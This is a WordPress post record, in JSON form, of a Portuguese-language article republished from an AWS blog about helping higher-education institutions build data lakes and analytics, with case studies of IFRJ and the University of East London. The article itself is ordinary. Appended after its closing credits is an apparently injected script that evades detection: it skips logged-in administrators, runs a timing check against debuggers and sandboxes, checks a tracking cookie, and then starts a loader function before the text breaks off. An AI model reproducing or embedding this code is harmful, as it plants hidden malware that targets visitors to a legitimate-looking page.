{"id":944,"date":"2024-01-29T17:35:35","date_gmt":"2024-01-29T17:35:35","guid":{"rendered":"https:\/\/4strats.com.br\/?p=944"},"modified":"2026-01-28T22:03:29","modified_gmt":"2026-01-28T22:03:29","slug":"aws-ajuda-instituicoes-ensino-superior-navegar-pelos-dados","status":"publish","type":"post","link":"https:\/\/4strats.com.br\/new\/aws\/aws-ajuda-instituicoes-ensino-superior-navegar-pelos-dados\/","title":{"rendered":"Como a AWS ajuda institui\u00e7\u00f5es de ensino superior a navegar pelos dados"},"content":{"rendered":"\n<p>Os dados s\u00e3o fundamentais para a capacidade de uma institui\u00e7\u00e3o de ensino superior expor insights e melhorar o desempenho e os resultados dos alunos.\u00a0Ajudar as institui\u00e7\u00f5es a compreender como os dados podem ser usados \u200b\u200be como podem impulsionar as institui\u00e7\u00f5es em dire\u00e7\u00e3o a um futuro melhor \u00e9 uma prioridade para a Amazon Web Services (AWS).\u00a0Com muitas solu\u00e7\u00f5es de dados dispon\u00edveis, a AWS pode ajudar as institui\u00e7\u00f5es de ensino a <a href=\"https:\/\/4strats.com.br\/servicos\/\">mapear uma jornada de dados<\/a> individualizada, come\u00e7ando de forma simples, desbloqueando os dados existentes e avan\u00e7ando em dire\u00e7\u00e3o a uma institui\u00e7\u00e3o totalmente orientada por dados.<\/p>\n\n\n\n<p>As institui\u00e7\u00f5es de ensino superior est\u00e3o em diferentes fases do seu percurso de dados e podem ter objetivos diferentes, incluindo:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Eles podem j\u00e1 estar usando dados, mas se beneficiariam de uma solu\u00e7\u00e3o \u00fanica, como intelig\u00eancia de contact center, para melhorar o acesso \u00e0s informa\u00e7\u00f5es sobre matr\u00edculas de alunos.<\/li>\n\n\n\n<li>Eles podem ter migrado um sistema central, mas ainda precisam construir um data lake ou aproveitar plataformas anal\u00edticas para obter conhecimento dos dados, exigindo mais de uma solu\u00e7\u00e3o de dados.<\/li>\n\n\n\n<li>Eles podem ter experi\u00eancia com sistemas de dados, mas t\u00eam como objetivo integrar solu\u00e7\u00f5es generativas de dados de intelig\u00eancia artificial (IA) para prever desafios acad\u00eamicos e oferecer interven\u00e7\u00e3o.<\/li>\n<\/ul>\n\n\n\n<p>\u201cOs produtos e solu\u00e7\u00f5es de dados podem ser complexos e dif\u00edceis de navegar para institui\u00e7\u00f5es de ensino superior\u201d, disse Valerie Singer, gerente geral da AWS Global Education.&nbsp;\u201cNosso objetivo \u00e9 simplificar essas solu\u00e7\u00f5es para melhor atender \u00e0s necessidades de nossos clientes, delineando uma jornada estrat\u00e9gica para cada cliente, mostrando como as solu\u00e7\u00f5es de dados podem ser desenvolvidas com base nas implementa\u00e7\u00f5es de dados atuais e como os dados podem ajudar a atender \u00e0s necessidades do ensino superior.\u201d<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-o-que-envolve-uma-jornada-de-dados\">O que envolve uma jornada de dados?<\/h2>\n\n\n\n<p>A primeira etapa na cria\u00e7\u00e3o de uma jornada de dados da AWS \u00e9 reunir-se com a institui\u00e7\u00e3o de ensino superior para definir um objetivo e uma meta de neg\u00f3cios claros, tamb\u00e9m chamada de etapa de idealiza\u00e7\u00e3o.&nbsp;A(s) reuni\u00e3o(\u00f5es) incluir\u00e3o as partes interessadas administrativas e l\u00edderes tecnol\u00f3gicos relevantes da institui\u00e7\u00e3o e ajudar\u00e3o a identificar as prioridades de neg\u00f3cios atuais, compartilhar exemplos e estudos de caso e estabelecer uma linha de base para resultados de dados e m\u00e9tricas para o sucesso.<\/p>\n\n\n\n<p>Ap\u00f3s definir os objetivos e metas da institui\u00e7\u00e3o, a AWS trabalha com a institui\u00e7\u00e3o para avaliar o potencial atual em termos de pessoas, processos e tecnologias dentro da institui\u00e7\u00e3o.&nbsp;Se necess\u00e1rio, isto pode incluir a melhoria das compet\u00eancias do pessoal e da administra\u00e7\u00e3o da institui\u00e7\u00e3o em tecnologias de nuvem.&nbsp;Tamb\u00e9m pode incluir avalia\u00e7\u00f5es de aplica\u00e7\u00f5es para determinar se as aplica\u00e7\u00f5es atuais t\u00eam capacidade para assumir cargas de trabalho adicionais.<\/p>\n\n\n\n<p>Depois que os l\u00edderes da institui\u00e7\u00e3o e a AWS determinam as lacunas entre seus modelos de dados atuais e os objetivos e metas propostos e desejados pela institui\u00e7\u00e3o, eles trabalham juntos para construir uma jornada de dados personalizada recomendada, incluindo projetos de marcos e solu\u00e7\u00f5es da AWS, que constroem em dire\u00e7\u00e3o ao resultado de neg\u00f3cios desejado .&nbsp;Dependendo das solu\u00e7\u00f5es atuais da institui\u00e7\u00e3o e dos objetivos desejados, a jornada pode variar de uma solu\u00e7\u00e3o de escopo \u00fanico at\u00e9 m\u00faltiplas solu\u00e7\u00f5es para atender \u00e0s suas necessidades.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-como-os-clientes-usam-solucoes-de-dados-para-atender-aos-objetivos-de-negocios-nbsp\">Como os clientes usam solu\u00e7\u00f5es de dados para atender aos objetivos de neg\u00f3cios<strong>&nbsp;<\/strong><\/h2>\n\n\n\n<p>A AWS apresentou a jornada de dados durante\u00a0o Bett UK desta semana\u00a0em Londres para 40 participantes de institui\u00e7\u00f5es globais de ensino superior.\u00a0A sess\u00e3o apresentou exemplos de por que os dados s\u00e3o importantes no ensino superior, bem como barreiras que muitas vezes inibem as institui\u00e7\u00f5es de alinhar pessoas, processos e tecnologia.\u00a0Durante a Bett UK, os participantes tamb\u00e9m tiveram a oportunidade de ouvir e aprender com outras institui\u00e7\u00f5es de ensino superior usando dados para melhorar a reten\u00e7\u00e3o e aprimorar os mecanismos de relat\u00f3rios.\u00a0Leia mais nos par\u00e1grafos seguintes sobre como duas institui\u00e7\u00f5es de ensino superior implementaram solu\u00e7\u00f5es de dados para resolver os seus desafios.<strong>\u00a0<\/strong><\/p>\n\n\n\n<p><a href=\"https:\/\/www.ifrj.edu.br\/\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Instituto Federal do Rio de Janeiro<\/strong><\/a>&nbsp;<strong>(IFRJ):<\/strong>&nbsp;O IFRJ buscou uma solu\u00e7\u00e3o para organizar informa\u00e7\u00f5es confi\u00e1veis, melhorar a reten\u00e7\u00e3o e o sucesso dos alunos e automatizar a coleta e extra\u00e7\u00e3o de dados para a tomada de decis\u00f5es.&nbsp;Trabalhando retroativamente a partir desses objetivos com<a href=\"https:\/\/partners.amazonaws.com\/partners\/0010h00001cA3glAAC\/4STRATEGIES\">&nbsp;a 4strategies<\/a>&nbsp;(um<a href=\"https:\/\/aws.amazon.com\/partners\/work-with-partners\/\">&nbsp;parceiro da AWS<\/a>&nbsp;) e a FICAR, os tomadores de decis\u00e3o optaram por construir um data lake pesquis\u00e1vel que conectasse v\u00e1rias fontes de dados.&nbsp;O data lake foi usado para alinhar informa\u00e7\u00f5es em toda a institui\u00e7\u00e3o, gerando relat\u00f3rios sobre a reten\u00e7\u00e3o de alunos e incentivando os educadores a colaborar e identificar os fatores predominantes nas taxas de abandono estudantil.<\/p>\n\n\n\n<p>\u201cIndo al\u00e9m do data lake, e utilizando-o como fonte de informa\u00e7\u00e3o organizada e modelo conceitual, foi criada uma ferramenta que poder\u00e1 dar autonomia aos gestores na constru\u00e7\u00e3o de dashboards, inclusive utilizando IA generativa, que \u00e9 uma caracter\u00edstica muito importante\u201d, disse Fabio Carlos Macedo, diretor de tecnologia do IFRJ.&nbsp;\u201cO data lake organizado permitiu que o FICAR estivesse conectado, fornecendo insights sobre os alunos e quest\u00f5es relacionadas \u00e0 reten\u00e7\u00e3o e ao sucesso \u2013 permitindo que os l\u00edderes educacionais desenvolvessem um conjunto de a\u00e7\u00f5es para melhorar essas taxas.\u201d<\/p>\n\n\n\n<p><strong>University of East London\u00a0(UEL)\u00a0:<\/strong>\u00a0Trabalhando com o objetivo em mente, a UEL tinha como objetivo aumentar o envolvimento e a reten\u00e7\u00e3o dos alunos e reduzir os padr\u00f5es de abandono estudantil, aproveitando melhor os dados.\u00a0Para atingir esse objetivo, eles precisavam integrar e analisar fluxos de dados \u2013 incluindo dados de desempenho e frequ\u00eancia dos alunos.\u00a0A UEL teve como objetivo simplificar os relat\u00f3rios de engajamento e detectar padr\u00f5es de desligamento mais cedo.\u00a0Isto permitir-lhes-ia realizar interven\u00e7\u00f5es espec\u00edficas, apoio extra e recursos aos alunos em risco para melhorar a reten\u00e7\u00e3o.\u00a0Ao participar de workshops de dados com a AWS, a UEL conseguiu ampliar ainda mais o escopo do uso de ferramentas de IA e aprendizado de m\u00e1quina (ML) para aprimorar abordagens para a entrega do ensino.<\/p>\n\n\n\n<p>\u201cTrabalhar com a AWS proporcionou oportunidades para expandir nosso trabalho de ML para outras \u00e1reas da universidade porque agora temos as habilidades e o conhecimento para fazer isso\u201d, disse Gary Tindell, chefe de insights da UEL.\u00a0\u201cCom esse conjunto de dados cada vez mais rico e valioso, gostar\u00edamos de refinar nossos relat\u00f3rios de envolvimento dos alunos e obter uma maior compreens\u00e3o de nossos dados, fazendo uso da IA \u200b\u200bgenerativa e das ferramentas de business intelligence dispon\u00edveis na AWS.\u201d<\/p>\n\n\n\n<p>Artigo originalmente publicado em <a href=\"https:\/\/aws.amazon.com\/pt\/blogs\/publicsector\/how-aws-helps-higher-education-institutions-navigate-data\/\">Blog AWS<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/4strats.com.br\/\">4Strategies &#8211; Alta Performance para estrat\u00e9gias corporativas<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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